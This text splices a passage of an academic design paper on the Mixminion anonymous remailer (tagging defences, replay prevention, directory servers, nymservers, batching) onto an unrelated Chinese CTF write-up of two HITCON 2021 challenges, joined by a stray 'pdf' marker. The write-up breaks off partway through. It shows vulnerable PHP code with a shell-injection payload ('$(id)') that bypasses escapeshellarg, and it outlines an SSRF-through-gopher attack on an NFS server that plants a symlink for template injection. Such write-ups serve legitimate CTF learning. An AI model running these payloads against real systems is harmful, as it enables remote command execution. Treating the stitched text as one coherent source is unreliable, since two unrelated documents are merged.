than its secret keys, in order to read the reply. All the secrets used to strip the
layers of encryption are derived from a master secret contained in the last header
of the single-use reply block, which the creator of the block addresses to itself
and encrypts under its own public key.
3.3
Indistinguishable replies
By making forward messages and replies indistinguishable even to MIXes, we
prevent an adversary from dividing the message anonymity sets into two classes.
In particular, if replies are infrequent relative to forward messages, an adversary
who controls some of the MIXes can more easily trace the path of each reply.
Having indistinguishable replies, however, makes it more difficult to prevent
tagging attacks. Since the author of a reply block is not the one writing the
payload, a hash of the entire message cannot be used. Therefore, since we choose
to make forward messages and replies indistinguishable, we cannot include hashes
for forward messages either. Our approach to defending against these attacks is
discussed in more detail in Section 3.4.
Mixminion allows Alice to send messages to Bob in one of three ways:
1. Forward messages where only Alice remains anonymous.
2. Direct Reply messages where only Bob remains anonymous.
3. Anonymized Reply messages where Alice and Bob remain anonymous.
We require parties that benefit from anonymity properties to run dedicated
software. Specifically, senders generating forward messages must be able to cre-
ate onions, and anonymous receivers must be able to create reply blocks and
unwrap messages received through those reply blocks. Other parties, such as
those receiving forward messages and those sending direct reply messages, do
not need to run new software. (The quoting performed by ordinary mail soft-
ware can be used to include the reply block in a direct reply; this is sent to a
node at the Reply-To: address, which extracts the reply block and constructs a
properly formatted onion.)
Messages are composed of a header section and a payload. We divide a mes-
sage’s path into two legs, and split the header section correspondingly into a
main header and a secondary header. Each header is composed of up to 16 sub-
headers, one for each hop along the path. Each subheader contains a hash of the
5
remainder of its header as seen by the appropriate MIX, so we can do integrity-
checking of the path (but not the payload) within each leg. Each subheader also
contains a symmetric key, which is used to derive a decryption key for decrypting
the rest of the message. The MIX also derives a padding seed from this master
key. It uses this padding seed to place predictable padding at the end of the
header, so the hash will match even though each hop must regrow the header to
maintain constant length.
For forward messages, Alice provides both legs; for anonymous replies, Alice
uses Bob’s reply block as the second leg, and generates her own path for the first
leg. To send a direct reply, Alice can use an empty first leg, or send the reply
block and message to a MIX that can wrap them for her.
When Alice creates her message, she encrypts the secondary header with a
hash of her payload (in addition to the usual layered onion encryptions). Alice’s
message then traverses the MIX-net as normal (every hop pulls off a layer, verifies
the hash of the current header, and puts some junk at the end of the header),
until it gets to a hop that is marked as a crossover point. This crossover point
performs a “swap” operation: it decrypts the secondary header with the hash
of the current payload, and then swaps the two headers. The swap operation is
detailed in Figure 1 — specifically, the normal operations done at every hop are
those above the dotted line, and the operations performed only by the crossover
point are those below the dotted line. The encryption primitive, labelled “LBC”,
that is used to blind the second header and the payload needs to have certain
properties:
– it is length-preserving;
– it should be impossible to recognize the decryption of a modified block,
without knowledge of the key;
– it should be equally secure to use the decryption operation for encryption.
To fulfill the above requirements we use a large-block cipher; that is, a cipher
that acts as a permutation on a block the size of its input (a header or the pay-
load). Possible candidates include LIONESS [2] and SPC [8]. The cryptographic
property required is that of a super-pseudo-random permutation (a.k.a. strong
pseudo-random permutation) or SPRP [24].1 Thus if any bit of the encrypted
material is changed, the decryption will look like random bits. An SPRP is also
equally secure in the encryption and decryption directions. See Section 3.4 for a
discussion of how this approach helps protect against tagging.
3.4
Defenses against tagging attacks
Without the crossover point, an adversary could mount a tagging attack by
modifying the payload of a forward message as it leaves Alice, and recognizing
it later when it reaches Bob. Specifically, if our encryption mechanism were an
1 The weaker PRP property may be sufficient, given that preventing replays limits
the number of oracle queries to 1; this will need further analysis. In that case the
simpler BEAR construction [2] could be used instead of LIONESS.
6
H1
H2
M
RSA
K
H
Check
&
Decrypt
PRNG
LBC
LBC
H2’
M’
H2’’
M’’
LBC
HASH
H1’
H1’’
Fig. 1. The operations required by the “swap” method
ordinary counter-mode cipher, he might alter a specific byte in the payload of
a message entering the MIX-net. Since many of the outgoing messages will be
in part predictable (either entirely plaintext, or with predictable PGP header
material), the adversary can later observe messages exiting the MIX-net and
look for payloads that have a corresponding anomaly at that byte.
We use a large-block cipher as described in the previous section to minimize
the amount of information an adversary can learn from tagging. If he tags a
message leaving Alice, the payload will be entirely random when it reaches Bob.
Thus, an adversary who tags a message can at worst turn the corresponding
payload into trash.
We briefly considered introducing cover-trash to frustrate these tagging at-
tacks; but that problem is as complex as the dummy traffic problem [6]. Instead,
we use the decryption-by-hash-of-payload step at the crossover point to prevent
the attacker from learning information from tagging attacks. Specifically, our
solution falls into several cases:
– Forward messages: if the message is tagged during the first leg, the second
header is unrecoverable, and so the adversary cannot learn the intended
destination of the message. If the message is tagged during the second leg,
then the first leg has already provided anonymity, and so the adversary
cannot learn the sender.
– Direct reply messages: since the decryption algorithm provides secrecy equiv-
alent to encryption, the effect is similar to encrypting the payload at each
7
step along a reply block. Only the recipient can learn, after peeling off all lay-
ers, whether the message has been tagged. Thus tagging attacks are useless
against reply messages.
– Anonymized reply messages: as with forward messages, if the first leg is
tagged the second header is unrecoverable — so an adversary will never
learn that the message was addressed to a reply block. And as with direct
reply messages, only the recipient can learn if the second leg is tagged.
While direct reply messages do not need a crossover point in the path (the
adversary can never observe his tag), forward messages still need a crossover
point to prevent end-to-end tagging. But since the first leg either provides suf-
ficient anonymity or destroys the information about the second leg, the second
leg in a forward message can be very short. At the extreme, the first hop in the
second header could directly specify the message recipient. However, the choice
of crossover point can still reveal information about the intended recipient,2 and
so we recommend that the second leg be at least a few hops long.
No MIX except the crossover point can distinguish forward messages from
replies — even the crossover point cannot be sure whether it is processing a
reply or forward message, but it may be able to guess that crossover points are
more frequent on forward paths than direct replies or anonymized reply paths.
3.5
Multiple-message tagging attacks
The above design is still vulnerable to a subtle and dangerous attack. If Alice
sends a group of messages along the same path, the adversary can tag some of
those message as they leave Alice, recognize the pattern (number and timing of
tagged and untagged messages) at the crossover point, and observe where the
untagged ones go. With some assumptions about our adversary, we can reduce
this attack to a traffic confirmation attack we’re already willing to accept: when
Alice sends a bunch of messages, the adversary can count them and look for the
pattern later. He can also drop some of them and look for resulting patterns.
The adversary can only recognize a tag if he happens to own the crossover
point that Alice chooses. Therefore, Alice picks k crossover points for her mes-
sages;3 to match a tag signature with certainty an adversary would have to own
all k crossover points. (And even then, it seems harder as the subsets of her
messages would overlap with subsets of messages from other senders.)
The key here is that when the adversary doesn’t own a given crossover point,
tagging messages destined for that crossover is equivalent to dropping them. The
crossover point in question simply doesn’t deliver the message to the second leg.
2 For instance, some MIXes may only allow outgoing mail to local addresses; if such a
node gets a crossover message that has been trashed, it might guess that the recipient
is one of the local addresses.
3 We can prevent the adversary from using divide-and-conquer on Alice’s groupings
if Alice uses a hybrid path starting with a short cascade — so even if the adversary
tags a subset of the messages he doesn’t know (unless he owns the whole cascade)
the groupings of tagged messages.
8
Therefore, if the adversary doesn’t own most of the crossover points that Alice
chooses, a successful multiple-message tagging attack seems infeasible. We leave
a security analysis of the multiple-paths idea to future work; but see Section 7.
4
Related design decisions
4.1
Link encryption and what it gets us
Unlike remailer Types I and II that used SMTP [36] (i.e. ordinary Internet e-
mail) as their underlying transport mechanism, Mixminion clients and nodes
communicate using a forward secure encrypted channel based on TLS [13]. TLS
allows the establishment of an encrypted tunnel using ephemeral Diffie-Hellman
keys. In order to guarantee that the receiving end is the one intended by the
creator of the anonymous message, the receiving node can sign the ephemeral
key. As soon as a session key has been established, the parties destroy their
Diffie-Hellman keys and begin sending messages through the tunnel. After each
message, the parties perform a standard key update operation to generate a fresh
key, and delete the old key material. Key updates don’t require any asymmetric
encryption techniques, so they are relatively fast.
The purpose of link encryption is to provide forward secrecy: after the keys
have been deleted, not even the nodes that exchange messages can decrypt or
recognize messages that might have been intercepted on the links. This makes it
impossible to comply with decryption notices of past traffic that might be served
in some jurisdictions. Even if an attacker manages to get hold of the session key
at a particular point they would have to observe all subsequent traffic to be able
to update their key appropriately.
The encrypted channel offers only limited protection against traffic analysis.
Encrypted links between honest nodes prevent an adversary from recognizing
even his own messages; but without link padding, he can still measure how
much traffic is being transmitted.
As a fringe benefit, using a separate link protocol makes it easier to deploy
relay-only MIXes — such nodes simply omit SMTP support. (See Section 4.2
below.)
4.2
Message types and delivery modules
Once a Mixminion packet reaches the final MIX in its path, it must either be
delivered to its intended recipient, dropped if it is an intra-network dummy
message, or processed further if it is a remixed Type II packet. In order to support
different kinds of delivery, the header includes a type code for the action to be
taken to deliver the message. A few types — such as ‘dummy’, ‘SMTP’, and
‘local delivery’ — are specified as a part of the Mixminion standard. Others may
be added by future extensions, to implement abuse-resistant exit policies (see
Section 4.3), to administer nymservers (see Section 6), to publish anonymously
to Usenet, to relay messages to older remailers, or to support other protocols.
9
Nearly all delivery methods require additional information beyond the mes-
sage type and its payload. The SMTP module, for example, requires a mailbox.4
This information is placed in a variable-length annex to the final subheader.
The types each MIX supports are described in a capability block, which also
includes the MIX’s address, long-term (signing) public key, short-term public
key (for use in header encryption), remixing capability, and batching strategy.
MIXes sign these capability blocks and publish them on directory servers (see
Section 5). Clients download this information from the directory servers.
The possibility of multiple delivery methods doesn’t come free: their presence
may fragment the anonymity set. For example, if there were five ways to send
an SMTP message to Bob, an attacker could partition Bob’s incoming mail by
guessing that one of those ways is Alice’s favorite. An active attacker could
even lure users into using a compromised exit node by advertising that node as
supporting a rare but desirable delivery method.
We claim that these attacks do not provide an argument against extensibility
per se, but rather argue against the proliferation of redundant extensions, and
against the use of rare extensions.
4.3
Exit policies and abuse
One important entry in a node’s capability block is its exit policy. Exit abuse is
a serious barrier to wide-scale remailer deployment — rare indeed is the network
administrator tolerant of machines that potentially deliver hate mail.
On one end of the spectrum are open exit nodes that will deliver anywhere;
on the other end are middleman nodes that only relay traffic to other remailer
nodes and private exit nodes that only deliver locally. More generally, nodes can
set individual exit policies to declare which traffic they will let exit from them,
such as traffic for local users or other authenticated traffic [41].
Preventing abuse of open exit nodes is an unsolved problem. If receiving mail
is opt-in, an abuser can forge an opt-in request from his victim. Indeed, requiring
recipients to declare their interest in receiving anonymous mail is risky — human
rights activists in Guatemala cannot both sign up to receive anonymous mail and
also retain plausible deniability.5 Similarly, if receiving mail is opt-out, an abuser
can deny service by forging an opt-out request from a legitimate user. We might
instead keep the mail at the exit node and send a note to the recipient telling
them how to collect their mail; but this increases server liability by storing
messages (see Section 6 below), and also doesn’t really solve the problem.
4 A mailbox is the canonical form of the “user@domain” part of an e-mail address.
Mixminion uses only mailboxes in the protocol, because the display name and com-
ment parts of an e-mail address could potentially be different for senders who have
obtained an address from different sources, leading to smaller anonymity sets.
5 Compare with the 1965 U.S. Supreme Court case Lamont v. Postmaster General
(381 U.S. 301), where the Post Office would detain mail it deemed to be ‘communist
political propaganda’ and instead send a form to the addressee telling him to send
back the signed form if he wanted to receive such mail. The government maintained
a list of citizens who had filled out these forms.
10
Of course, a mixture of open and restricted exit nodes will allow the most
flexibility for volunteers running servers. But while a large number of middleman
nodes is useful to provide a large and robust network, the small number of
exit nodes still simplifies traffic confirmation (the adversary observes both a
suspected user and the network’s exit nodes and looks for timing or packet
correlations). The number of available open exit nodes remains a limiting security
parameter for the remailer network.
4.4
Replay prevention, message expiration, and key rotation
Mixmaster offers rudimentary replay prevention by keeping a list of recent mes-
sage IDs. To keep the list from getting too large, it expires entries after a server-
configurable amount of time. But if an adversary records the input and output
batches of a MIX and then replays a message after the MIX has forgotten about
it, the message’s decryption will be exactly the same. Thus, Mixmaster does not
provide the forward anonymity that we want.
Chaum first observed this attack in [9], but his solution (which is proposed
again in Babel6) — to include in each message a timestamp that describes when
that message is valid — also has problems. Specifically, it introduces a new class
of partitioning attacks, where the adversary can distinguish and track messages
based on timestamps. If messages have short lifetimes, legitimate messages may
arrive after their expiration date and be dropped. But if we specify expiration
dates well after when we expect messages to arrive, messages arriving near their
expiration date will be rare: an adversary can delay a message until near its
expiration date, then release it and trace it through the network.
One way of addressing this partitioning attack is to add dummy traffic so
that it is less rare for messages to arrive near their expiration date; but dummy
traffic is still not well-understood. Another approach would be to add random
values to the expiration date of each MIX in the path, so an adversary delaying
a message at one MIX cannot expect that it is now near to expiring elsewhere
in the path; but this seems open to statistical attacks.
A possible compromise solution that still provides forward anonymity is as
follows: Messages don’t contain any timestamp or expiration information. Each
MIX must keep hashes of the headers of all messages it has processed since the
last time it rotated its key. MIXes should choose key rotation frequency based
on security goals and on how many hashes they want to store.
Note that this solution does not entirely solve the partitioning problem —
near the time of a key rotation, the anonymity set of messages will be divided
into those senders who knew about the key rotation and used the new key, and
those who did not. Moreover, if keys overlap, the above delaying attack still
6 Actually, Babel is vulnerable to a much more direct timestamp attack: each layer of
the onion includes “the number of seconds elapsed since January 1, 1970 GMT, to
the moment of message composition by the sender.” Few people will be composing
a message on a given second, so an adversary owning a MIX at the beginning of the
path and another at the end could trivially recognize a message.
11
works. Also note that while key rotation and link encryption (see Section 4.1)
both provide forward security, their protection is not redundant. With only link
encryption, an adversary running one MIX could compromise another and use
its private key to decrypt messages previously sent between them. Key rotation
limits the window of opportunity for this attack.
A more complete solution to partitioning attacks may be possible by using
the “synchronous batching” approach described in Section 7.2; this is a subject
for future research.
5
Directory Servers
The Mixmaster protocol does not specify a means for clients to learn the lo-
cations, keys, capabilities, or performance statistics of MIXes. Several ad hoc
schemes have grown to fill that void [27]; here we describe Mixminion directory
servers and examine the anonymity risks of such information services.
In Mixminion, a group of redundant directory servers serve current node
state. It is important that these servers be synchronized and redundant: we lose
security if each client has different information about network topology and node
reliability. An adversary who controls a directory server can track certain clients
by providing different information — perhaps by listing only MIXes it controls
or only informing certain clients about a given MIX.
An adversary without control of a directory server can still exploit differences
among client knowledge. If Eve knows that MIX M is listed on server D1 but not
on D2, she can use this knowledge to link traffic through M to clients who have
queried D1. Eve can also distinguish traffic based on any differences between
clients who use directory servers and those who don’t; between clients with up-
to-date listings and those with old listings; and (if the directory is large and so is
given out in pieces) between clients who have different subsets of the directory.
So it is not merely a matter of convenience for clients to retrieve up-to-date
MIX information. We must specify a directory service as a part of our standard.
Thus Mixminion provides protocols for MIXes to advertise their capability cer-
tificates to directory servers, and for clients to download complete directories.7
Servers can work together to ensure correct and complete data by successively
signing certificate bundles, so users can be sure that a given MIX certificate has
been seen by a threshold of directory servers.
But even if client knowledge is uniform, an attacker can mount a trickle attack
by delaying messages from Alice at a compromised node until the directory
servers remove some MIX M from their listings — he can then release the
delayed messages and guess that any messages still using M are likely to be
from Alice. An adversary controlling many nodes can launch this attack very
7 New advances in Private Information Retrieval [25] may down the road allow clients
to efficiently and privately download a subset of the directory. We recommend against
using the MIX-net to anonymously retrieve a random subset: an adversary observing
the directory servers and given two hops in a message’s path can take the intersection
over recently downloaded directory subsets to guess the remaining hops in the path.
12
effectively. Thus clients should download new information regularly, but wait for
a given time threshold (say, an hour) before using any newly-published nodes.
Dummy traffic to old nodes may also help thwart trickle attacks.
Directory servers compile node availability and performance information by
sending traffic through MIXes in their directories. In its basic form this can be
very similar to the current ping servers [27], but in the future we can investigate
integrating more complex and attack-resistant reputation metrics. Even this rep-
utation information introduces vulnerabilities: for example, an adversary trying
to do traffic analysis can get more traffic by gaining a high reputation [14]. We
can defend against these attacks by building paths from a suitably large pool of
nodes [16] to bound the probability that an adversary will control an entire path;
but there will always be a tension between giving clients accurate and timely
information and preventing adversaries from exploiting the directory servers to
manipulate client behavior.
6
Nym management and single-use reply blocks
Current nymservers, such as nym.alias.net [28], maintain a set of (mailbox,
reply block) pairs to allow users to receive mail without revealing their identi-
ties. When mail arrives to <[email protected]>, the nymserver attaches the
payload to the associated reply block and sends it off into the MIX-net. Because
these nymservers use the Type I remailer network, these reply blocks are persis-
tent or long-lived nyms — the MIX network does not drop replayed messages, so
the reply blocks can be used again and again. Reply block management is much
simpler in this model because users only need to replace a reply block when one
of the nodes it uses stops working.
The Mixminion design protects against replay attacks by dropping messages
with repeated headers — so its reply blocks are necessarily single-use. There are
a number of approaches for building nymservers from single-use reply blocks.
In the first approach, nymservers keep a stock of reply blocks for each mail-
box, and use a reply block for each incoming message. As long as the owner of
the pseudonym keeps the nymserver well-stocked, no messages will be lost. But
it is hard for the user to know how many new reply blocks to send; indeed, under
this approach, an attacker can deny service by flooding the mailbox to exhaust
the available reply blocks and block further messages from getting delivered.
A more robust design uses a protocol inspired by e-mail retrieval protocols
such as IMAP [11] or POP [33]: messages arrive and queue at the nymserver,
and the user periodically checks the status of his mail and sends a sufficient
batch of reply blocks so the nymserver can deliver that mail. In this case, the
nymserver doesn’t need to store any reply blocks. The above flooding attack still
works, but now it is exactly like flooding a normal IMAP or POP mailbox, and
the usual techniques (such as allowing the user to delete mails at the server or
specify which mails to download and let the others expire) work fine. The user
can send a set of indices to the server after successfully receiving some messages,
to indicate that they can now be deleted.
13
Of course, there are different legal and security implications for the two de-
signs. In the first design, no mail is stored on the server, but it must keep valid
reply blocks on hand. The second case is in some sense more secure because the
server need not store any reply blocks, but it also creates more liability because
the server keeps mail for each recipient until it is retrieved. The owner of the
pseudonym could provide a public key that the nymserver uses to immediately
encrypt all incoming messages, to limit the amount of time the nymserver keeps
plaintext messages.
The best implementation depends on the situations and preferences of the
volunteers running the nymservers. Hopefully there will be enough volunteers
that users can choose the model that makes them most comfortable.
7
Maintaining anonymity sets
7.1
Transmitting large files with Mixminion
We would like to use Mixminion as a transport layer for higher-level applications
such as anonymous publication systems [15], but much research remains before
we can provide security for users transferring large files over Mixminion.
Alice wants to send a large file to Bob; thus she must send many Mixminion
messages. Conventional wisdom suggests that she should pick a different path
for every message, but an adversary that owns all the nodes in any of the paths
could learn her identity — without any work at all. (Even an adversary owning a
very small fraction of the network can perform this attack, since the Mixminion
message size is small.)
Alice seems more likely to maintain her unlinkability by sending all the mes-
sages over the same path. On the other hand, a passive adversary can still watch
the flood of messages traverse that path. We must hope the honest nodes will
hide message streams enough to foil these attacks. The multiple-message tagging
attacks described in Section 3.5 make the situation even more dangerous.
A compromise approach is to pick a small number of paths and use them
together. Still, if the messages are sent all at once, it seems clear we’re going
to need some really good cover traffic schemes before we can offer security. The
same problem, of maintaining anonymity when sending many messages, comes
up when the owner of a pseudonym is downloading his mail from a nymserver.
7.2
Batching Strategy and Network Structure
A MIX-net design groups messages into batches and chooses paths; the ap-
proaches it uses affect the degree of anonymity it can provide [3]. We might
define ideal anonymity for a MIX-net to be when an attacker can gain no infor-
mation about the linkage between messages entering and leaving the network,
other than that the maximum time between them is equal to the maximum
network latency.
This ideal is not achieved by protocols like Mixmaster that use random delays:
if the maximum latency of such a network is t, then the anonymity set of a
14
message leaving the network may be much smaller than all messages that entered
over a time t. Also, because Mixmaster is both asynchronous (messages can enter
and leave the network at any time) and uses free routes, it is subject to the
attacks described in [7]. We would like to explore a strategy called synchronous
batching. This approach seems to prevent these attacks even when free routes
are used, and seems to improve the trade-off between latency and anonymity.
The network has a fixed batch period, tbatch, which is closely related to the
maximum desired latency; a typical value could be 3–6 hours. Messages entering
the network in each batch period are queued until the beginning of the next
period. They are then sent through the MIX-net synchronously, at a rate of one
hop per hop period. All paths are a fixed length ℓ hops, so that if no messages are
dropped, the messages introduced in a given batch will progress through their
routes in lock-step, and will all be transmitted to their final destinations ℓ hop
periods later. Each subheader of a message specifies the hop period in which it
must be received, so that it cannot be delayed by an attacker (which would be
fatal for this design).
The latency is between ℓthop and tbatch + ℓthop, depending on when the mes-
sage is submitted. Typically we would have thop < tbatch/ℓ, so the latency is at
most 2tbatch independent of the path length ℓ.
In practice, several considerations have to be balanced when choosing a batch-
ing strategy and network structure. These include maximizing anonymity sets
(both batch sizes through each node and the overall anonymity sets of users);
bandwidth considerations; reliability; enabling users to choose nodes that they
trust; and interactions with the reputation system.
Further analysis is needed before we can choose a final network structure.
Note that a planned structure, where each user’s software follows the plan con-
sistently when constructing routes, will generally be able to achieve stronger and
more easily analyzed security properties than less constrained approaches.
8
Future Directions
This design document represents the first step in peer review of the Type III
remailer protocol. Many of the ideas, ranging from the core design to peripheral
design choices, need more attention:
– We need more research on batching strategies that resist trickle and flooding
attacks [3] as well as intersection attacks on asynchronous free routes [7].
– We need a more thorough investigation of multiple-message tagging attacks,
and an analysis of how to safely choose paths when sending many messages.
– We claim that we use conservative techniques, but an all-or-nothing variable-
length block cipher is pushing it. Can we keep indistinguishable forward
messages and replies using a simpler design?
– We need stronger intuition about how to use dummy messages.
We invite interested developers to join the mixminion-dev mailing list [30]
and examine the more detailed Mixminion specification [31].
15
References
1. Masayuki Abe. Universally verifiable MIX with verification work independent of
the number of MIX servers.
In Advances in Cryptology - EUROCRYPT 1998,
LNCS Vol. 1403. Springer-Verlag, 1998.
2. Ross Anderson and Eli Biham. Two practical and provably secure block ciphers:
BEAR and LION. In International Workshop on Fast Software Encryption, LNCS.
Springer-Verlag, 1996. <http://citeseer.nj.nec.com/anderson96two.html>.
3. Anonymous. From a trickle to a flood: Active attacks on several mix types. Sub-
mitted to Information Hiding Workshop 2002.
4. Adam Back, Ulf M¨oller, and Anton Stiglic. Traffic analysis attacks and trade-offs
in anonymity providing systems. Proceedings of the Information Hiding Workshop
2001. <http://www.cypherspace.org/adam/pubs/traffic.pdf>.
5. Oliver Berthold, Hannes Federrath, and Stefan K¨opsell. Web MIXes: A system
for anonymous and unobservable Internet access. In Designing Privacy Enhancing
Technologies, LNCS Vol. 2009, pages 115–129. Springer-Verlag, 2000.
6. Oliver Berthold and Heinrich Langos. Dummy traffic against long term intersection
attacks. In Privacy Enhancing Technologies 2002. Springer-Verlag, 2002.
7. Oliver Berthold, Andreas Pfitzmann, and Ronny Standtke.
The disadvan-
tages of free MIX routes and how to overcome them.
In Designing Pri-
vacy Enhancing Technologies, LNCS Vol. 2009, pages 30–45. Springer-Verlag,
2000. <http://www.tik.ee.ethz.ch/~weiler/lehre/netsec/Unterlagen/anon/
disadvantages_berthold.pdf>.
8. Daniel Bleichenbacher and Anand Desai. A construction of a super-pseudorandom
cipher. Manuscript.
9. David Chaum. Untraceable electronic mail, return addresses, and digital pseudo-
nyms. Communications of the ACM, 4(2), February 1982.
<http://www.eskimo.com/~weidai/mix-net.txt>.
10. Lance Cottrell. Mixmaster and remailer attacks.
<http://www.obscura.com/~loki/remailer/remailer-essay.html>.
11. M. Crispin. Internet Message Access Protocol — Version 4rev1. IETF RFC 2060,
December 1996. <http://www.rfc-editor.org/rfc/rfc2060.txt>.
12. Yvo Desmedt and Kaoru Kurosawa. How to break a practical MIX and design
a new one. In Advances in Cryptology - EUROCRYPT 2000, LNCS Vol. 1803.
Springer-Verlag, 2000. <http://citeseer.nj.nec.com/447709.html>.
13. T. Dierks and C. Allen.
The TLS Protocol — Version 1.0.
IETF RFC 2246,
January 1999. <http://www.rfc-editor.org/rfc/rfc2246.txt>.
14. Roger Dingledine, Michael J. Freedman, David Hopwood, and David Molnar. A
Reputation System to Increase MIX-net Reliability. Proceedings of the Information
Hiding Workshop 2001. <http://www.freehaven.net/papers.html>.
15. Roger Dingledine, Michael J. Freedman, and David Molnar.
The free haven
project: Distributed anonymous storage service. In Workshop on Design Issues
in Anonymity and Unobservability, July 2000. <http://freehaven.net/papers.
html>.
16. Roger Dingledine and Paul Syverson. Reliable MIX Cascade Networks through
Reputation. Proceedings of Financial Cryptography 2002.
<http://www.freehaven.net/papers.html>.
17. Electronic Frontiers Georgia (EFGA). Anonymous remailer information.
<http://anon.efga.org/Remailers/>.
16
18. D. Goldschlag, M. Reed, and P. Syverson.
Onion routing for anonymous and
private internet connections. Communications of the ACM, 42(2):39–41, 1999.
<http://citeseer.nj.nec.com/goldschlag99onion.html>.
19. C. Gulcu and G. Tsudik. Mixing E-mail with Babel. In Network and Distributed
Security Symposium - NDSS ’96. IEEE, 1996.
<http://citeseer.nj.nec.com/2254.html>.
20. J. Helsingius. anon.penet.fi press release.
<http://www.penet.fi/press-english.html>.
21. Markus Jakobsson. Flash Mixing. In Principles of Distributed Computing - PODC
’99. ACM, 1999. <http://citeseer.nj.nec.com/jakobsson99flash.html>.
22. Anja Jerichow, Jan M¨uller, Andreas Pfitzmann, Birgit Pfitzmann, and Michael
Waidner.
Real-Time MIXes: A bandwidth-efficient anonymity protocol.
IEEE
Journal on Selected Areas in Communications 1998.
<http://www.zurich.ibm.com/security/publications/1998.html>.
23. D. Kesdogan, M. Egner, and T. B¨uschkes. Stop-and-go MIXes providing prob-
abilistic anonymity in an open system. In Information Hiding Workshop 1998,
LNCS Vol. 1525. Springer Verlag, 1998.
<http://www.cl.cam.ac.uk/~fapp2/ihw98/ihw98-sgmix.pdf>.
24. Michael Luby and Charles Rackoff. How to construct pseudorandom permutations
from pseudorandom functions. SIAM Journal on Computing, 17(2):373–386, 1988.
25. Tal Malkin. Private Information Retrieval. PhD thesis, MIT, 2000.
<http://www.toc.lcs.mit.edu/~tal/>.
26. Tim May. Description of early remailer history. E-mail archived at <http://www.
inet-one.com/cypherpunks/dir.1996.08.29-1996.09.04/msg00431.html>.
27. Tim May. Description of Levien’s pinging service.
<http://www2.pro-ns.net/~crypto/chapter8.html>.
28. David Mazi`eres and M. Frans Kaashoek. The design, implementation and operation
of an email pseudonym server.
<http://www.cs.berkeley.edu/~daw/teaching/cs261-f98/papers/pnym.txt>.
29. M. Mitomo and K. Kurosawa. Attack for Flash MIX. In Advances in Cryptology -
ASIACRYPT 2000, LNCS Vol. 1976. Springer-Verlag, 2000.
<http://citeseer.nj.nec.com/450148.html>.
30. Mixminion. Mixminion: a type III anonymous remailer.
<http://mixminion.net/>.
31. Mixminion. Type III (Mixminion) MIX protocol specifications.
<http://mixminion.net/minion-spec.tex>.
32. Ulf M¨oller and Lance Cottrell.
Mixmaster Protocol — Version 2.
Un-
finished draft, January 2000.
<http://www.eskimo.com/~rowdenw/crypt/Mix/
draft-moeller-mixmaster2-protocol-00.txt>.
33. J. Myers and M. Rose. Post Office Protocol — Version 3. IETF RFC 1939 (also
STD0053), May 1996. <http://www.rfc-editor.org/rfc/rfc1939.txt>.
34. C. Andrew Neff.
A verifiable secret shuffle and its application to e-voting.
In
P. Samarati, editor, 8th ACM Conference on Computer and Communications
Security (CCS-8), pages 116–125. ACM Press, November 2001.
<http://www.
votehere.net/ada_compliant/ourtechnology/technicaldocs/shuffle.pdf>.
35. M. Ohkubo and M. Abe. A Length-Invariant Hybrid MIX. In Advances in Cryp-
tology - ASIACRYPT 2000, LNCS Vol. 1976. Springer-Verlag, 2000.
36. J. Postel. Simple Mail Transfer Protocol. IETF RFC 2821 (also STD0010), August
1982. <http://www.rfc-editor.org/rfc/rfc2821.txt>.
17
37. Charles Rackoff and Daniel R. Simon. Cryptographic defense against traffic anal-
ysis. In ACM Symposium on Theory of Computing, pages 672–681, 1993.
<http://research.microsoft.com/crypto/dansimon/me.htm>.
38. J. Raymond. Traffic analysis: Protocols, attacks, design issues, and open problems.
In Workshop on Design Issues in Anonymity and Unobservability, pages 10–29,
July 2000. <http://citeseer.nj.nec.com/454354.html>.
39. RProcess. Potato Software.
<http://www.skuz.net/potatoware/>.
40. Zero Knowledge Systems. Freedom version 2 white papers.
<http://www.freedom.net/info/whitepapers/>.
41. Paul Syverson, Michael Reed, and David Goldschlag. Onion Routing access config-
urations. In DARPA Information Survivability Conference and Exposition (DIS-
CEX 2000), volume 1, pages 34–40. IEEE CS Press, 2000.
<http://www.onion-router.net/Publications.html>.
18 | pdf |
周末hitconctf2021两道题简单记录。
W3rmup PHP这题有两个⼩考点,结合起来⽐较有趣。⾸先是题⽬中这个循环,考察的是经典的循环体中改变被
遍历对象的⻓度导致遍历不全的bug。我们只要传⼊类似 $arr= ['123', false, "';$(id)'"] 这样的数组,
就可以绕过 escapeshellarg 的过滤逃逸单引号。因为在循环到 $arr[1] 时,由于unset的作⽤, $arr 数组⻓度
会变成2,这样在下次循环就⽆法满⾜ $i<count($arr) 直接结束了。
题⽬第2个考点是,php的 yaml_parse 使⽤的是yaml1.1的协议,会将 NO 解析为布尔值false,⽽ NO ⼜恰巧是挪
威的country_code,所以我们只需要⽤挪威(NO)的ip请求这个题,就能得到⼀个满⾜条件的数组,执⾏任意命令
了。这个在 yaml_psrse ⽂档下⾯⼀条评论中有提到:D
Metamon-Verse这个题单独环境,flask开启了 app.config['TEMPLATES_AUTO_RELOAD'] = True 选项,所以
意思很明显就是让你SSRF->写⽂件。SSRF是调⽤了pycurl,pycurl是libcurl的封装,所以⽀持curl⽀持的所有协
议。⽐较好⽤的就是 file 读⽂件和 gopher 发tcp payload。题⽬唯⼀能打的内⽹服务就是nfs。nfs共享的⽬录
是 /app/static/images ,⽽模版⽂件在 /app/templates/ 下⾯,⽆法直接逃逸出共享⽬录写模板⽂件。这些
是前提条件。
这道题的⼤思路就是ssrf打nfs-server的2049端⼝,告诉nfs-server我创建了⼀个 /app/templates/index.html
-> ./xxx.jpg 的软链接(软链接可以指向共享⽬录外很关键,之所以存在这个包也是因为nfs协议⽀持同步软链
接,但linux的软链接毕竟没有真的内容,所以nfs做法就是⽤这样⼀个包告诉nfs-server在服务端创建⼀个⼀摸⼀
样的链接,有点基因复制的味道了),然后nfs-server傻乎乎的在服务器上创建这个软链接,之后这个软链接⼜会
被反过来同步到nfs-client上,这样就通过SSRF nfs server实现了在nfs-client的共享⽬录中创建了⼀个指向模板⽂
件的软链接xxx.jpg。然后就可以利⽤题⽬的保存图⽚的功能向模板⽂件中写模板字符串,xxx这个名字是根据
$yaml = <<<EOF
- echo # cmd
- $addr # address
- $country # country
- $mail # mail
EOF;
$arr = yaml_parse($yaml);
if (!$arr) die('bad yaml');
for ($i=0; $i < count($arr); $i++) {
if (!$arr[$i]) {
unset($arr[$i]);
continue;
}
$arr[$i] = escapeshellarg($arr[$i]);
}
system(implode(" ", $arr));
remote_addr+url算出来的,最后请求⾸⻚即可渲染模板执⾏任意命令。
⽽这题恶⼼的地⽅在于nfs协议的复杂,所以⽣成nfs协议的SSRF payload的路⽐较艰⾟。经过⼀下午调试最终确
定了nfs v3的三个包可以实现上述⽬的。
1. 第1个包是与nfs-server的111/tcp端⼝通信,可以获取到⼀个随机的⾼端⼝P
